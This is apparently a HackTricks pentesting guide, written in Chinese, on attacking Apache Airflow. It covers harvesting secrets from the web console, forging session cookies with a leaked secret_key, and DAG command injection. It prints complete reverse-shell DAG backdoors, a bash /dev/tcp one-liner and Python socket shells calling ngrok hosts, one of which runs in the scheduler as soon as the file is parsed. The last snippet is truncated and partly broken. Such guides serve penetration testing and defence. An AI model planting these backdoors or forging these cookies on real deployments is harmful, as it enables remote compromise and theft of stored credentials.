Apache Airflow Security

支持HackTricks

基本信息

Apache Airflow 作为一个平台,用于编排和调度数据管道或工作流。在数据管道的上下文中,“编排”一词表示安排、协调和管理来自各种来源的复杂数据工作流程的过程。这些经过编排的数据管道的主要目的是提供经过处理和可消费的数据集。这些数据集被广泛应用于各种应用程序,包括但不限于商业智能工具、数据科学和机器学习模型,所有这些都是大数据应用程序运行的基础。

基本上,Apache Airflow将允许您在发生某事时(事件、定时任务)调度代码的执行

本地实验室

Docker-Compose

您可以使用来自https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yamldocker-compose配置文件启动完整的Apache Airflow Docker环境。(如果您在MacOS上,请确保为docker虚拟机分配至少6GB的RAM)。

Minikube

运行Apache Airflow的一种简单方法是使用minikube运行它:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow配置

Airflow可能会在其配置中存储敏感信息,或者您可能会发现存在弱配置:

Airflow Configuration

Airflow RBAC

在开始攻击Airflow之前,您应该了解权限如何工作

Airflow RBAC

攻击

Web控制台枚举

如果您可以访问Web控制台,您可能能够访问以下一些或所有信息:

  • 变量(自定义敏感信息可能存储在此处)

  • 连接(自定义敏感信息可能存储在此处)

  • http://<airflow>/connection/list/中访问它们

  • 配置(敏感信息如**secret_key**和密码可能存储在此处)

  • 列出用户和角色

  • 每个DAG的代码(可能包含有趣的信息)

检索变量值

变量可以存储在Airflow中,以便DAG可以访问它们的值。这类似于其他平台的秘密。如果您有足够的权限,可以在GUI中访问它们,网址为http://<airflow>/variable/list/。 默认情况下,Airflow将在GUI中显示变量的值,但是根据这里,可以设置一个变量列表,其将显示为星号GUI中。

然而,这些仍然可以通过CLI(需要具有DB访问权限)、任意DAG执行、API访问变量端点(需要激活API),甚至GUI本身检索。 要从GUI中访问这些值,只需选择要访问的变量,然后单击操作 -> 导出。 另一种方法是通过搜索过滤执行暴力破解以获取隐藏值

特权升级

如果**expose_config配置设置为True**,从用户角色及以上可以在Web中读取配置。在此配置中,会显示**secret_key,这意味着任何具有此有效密钥的用户都可以创建自己的已签名cookie以冒充任何其他用户帐户**。

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG后门(Airflow worker中的RCE)

如果您对保存DAG的位置具有写入访问权限,您可以创建一个DAG,该DAG将向您发送一个反向 shell。 请注意,此反向 shell 将在airflow worker容器中执行:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG 后门(Airflow 调度器中的远程代码执行)

如果您将某些内容设置为在代码的根目录中执行,在撰写本文时,它将在将其放入DAG文件夹后的几秒钟后由调度器执行

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG 创建

如果您设法入侵 DAG 集群内的一台机器,您可以在 dags/ 文件夹中创建新的DAG 脚本,它们将被复制到 DAG 集群中的其他机器

DAG 代码注入

当您从 GUI 执行 DAG 时,可以向其传递参数。 因此,如果 DAG 没有正确编码,它可能容易受到命令注入攻击。 这就是在此 CVE 中发生的情况:https://www.exploit-db.com/exploits/49927

您需要了解的一切,以开始在 DAG 中寻找命令注入,就是参数是通过代码**dag_run.conf.get("param_name")访问**的。

此外,相同的漏洞可能会出现在变量中(请注意,如果具有足够的权限,您可以在 GUI 中控制变量的值)。变量是通过以下方式访问的:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

如果它们例如被用在一个bash命令中,你可以执行命令注入。

支持 HackTricks

Last updated